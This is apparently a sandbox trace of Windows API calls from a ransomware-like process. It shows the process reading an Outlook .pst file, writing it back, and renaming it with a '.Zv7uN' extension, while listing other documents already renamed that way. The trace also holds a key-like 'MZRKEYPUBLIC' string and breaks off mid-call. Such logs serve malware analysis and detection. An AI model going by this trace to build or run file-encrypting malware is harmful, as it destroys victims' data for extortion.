lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0089.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0089.092] GetCurrentThreadId () returned 0xa30 [0089.093] GetCurrentThreadId () returned 0xa30 [0089.093] GetCurrentThreadId () returned 0xa30 [0089.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.093] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0089.093] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.093] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x42400 [0089.093] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.093] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef50000 [0089.094] ReadFile (in: hFile=0x104, lpBuffer=0x7ef50010, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7ef50010*, lpNumberOfBytesRead=0x18f6a0*=0x42400, lpOverlapped=0x0) returned 1 [0089.112] CloseHandle (hObject=0x104) returned 1 [0089.112] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0089.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.130] WriteFile (in: hFile=0x104, lpBuffer=0x7ef00010*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesWritten=0x18f6ac*=0x42400, lpOverlapped=0x0) returned 1 [0089.142] CloseHandle (hObject=0x104) returned 1 [0089.142] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.zv7un")) returned 1 [0089.144] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.147] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.150] GetCurrentThreadId () returned 0xa30 [0089.150] GetCurrentThreadId () returned 0xa30 [0089.150] GetCurrentThreadId () returned 0xa30 [0089.151] GetCurrentThreadId () returned 0xa30 [0089.151] GetCurrentThreadId () returned 0xa30 [0089.151] GetCurrentThreadId () returned 0xa30 [0089.151] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0089.151] GetLastError () returned 0x12 [0089.151] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0089.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x530450e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x530450e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0089.151] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0089.151] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.151] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x530450e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x530450e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0089.151] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.151] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.151] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x530450e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="voeimd@djhreuu.uhd.pst.Zv7uN", cAlternateFileName="VOEIMD~1.ZV7")) returned 1 [0089.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.152] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x530450e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="voeimd@djhreuu.uhd.pst.Zv7uN", cAlternateFileName="VOEIMD~1.ZV7")) returned 0 [0089.152] GetLastError () returned 0x12 [0089.152] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99905f60, ftCreationTime.dwHighDateTime=0x1d5d49c, ftLastAccessTime.dwLowDateTime=0xe9474de0, ftLastAccessTime.dwHighDateTime=0x1d5a8bc, ftLastWriteTime.dwLowDateTime=0x52920ee0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x713f, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="p0SinzaP1mEbUlrC.xlsx.Zv7uN", cAlternateFileName="P0SINZ~1.ZV7")) returned 1 [0089.152] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.152] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8ac4c0, ftCreationTime.dwHighDateTime=0x1d59e2c, ftLastAccessTime.dwLowDateTime=0xd415b0c0, ftLastAccessTime.dwHighDateTime=0x1d5b80b, ftLastWriteTime.dwLowDateTime=0x52947040, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85f4, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="rMBc_TwQqbjBeYXCL.pptx.Zv7uN", cAlternateFileName="RMBC_T~1.ZV7")) returned 1 [0089.152] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.153] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.153] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76b60, ftCreationTime.dwHighDateTime=0x1d5602d, ftLastAccessTime.dwLowDateTime=0x30af9b90, ftLastAccessTime.dwHighDateTime=0x1d5a5e0, ftLastWriteTime.dwLowDateTime=0x5296d1a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8c7f, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="Si93WyJ4VkIM.xlsx.Zv7uN", cAlternateFileName="SI93WY~1.ZV7")) returned 1 [0089.153] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.153] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.153] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa59d36f0, ftCreationTime.dwHighDateTime=0x1d58458, ftLastAccessTime.dwLowDateTime=0x9bc7bef0, ftLastAccessTime.dwHighDateTime=0x1d5e549, ftLastWriteTime.dwLowDateTime=0x52993300, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x802b, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="xjQ7-Z6-cvpQ18.pptx.Zv7uN", cAlternateFileName="XJQ7-Z~1.ZV7")) returned 1 [0089.153] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.153] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.153] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1968c0f0, ftCreationTime.dwHighDateTime=0x1d57ac1, ftLastAccessTime.dwLowDateTime=0xfa7875e0, ftLastAccessTime.dwHighDateTime=0x1d5a91a, ftLastWriteTime.dwLowDateTime=0x52a519e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x17ae, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.xlsx.Zv7uN", cAlternateFileName="YS0OGU~1.ZV7")) returned 1 [0089.153] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.153] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.153] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1968c0f0, ftCreationTime.dwHighDateTime=0x1d57ac1, ftLastAccessTime.dwLowDateTime=0xfa7875e0, ftLastAccessTime.dwHighDateTime=0x1d5a91a, ftLastWriteTime.dwLowDateTime=0x52a519e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x17ae, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.xlsx.Zv7uN", cAlternateFileName="YS0OGU~1.ZV7")) returned 0 [0089.153] GetLastError () returned 0x12 [0089.153] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0089.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0089.156] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents")) returned 0x11 [0089.156] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0089.156] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34360865, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0089.156] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34360865, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x34360865, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.157] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0089.157] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0089.157] GetLastError () returned 0x12 [0089.157] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0089.157] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0089.157] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0089.158] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0089.158] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.158] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0089.158] GetLastError () returned 0x12 [0089.158] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0089.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=55, fCreate=0 | out: 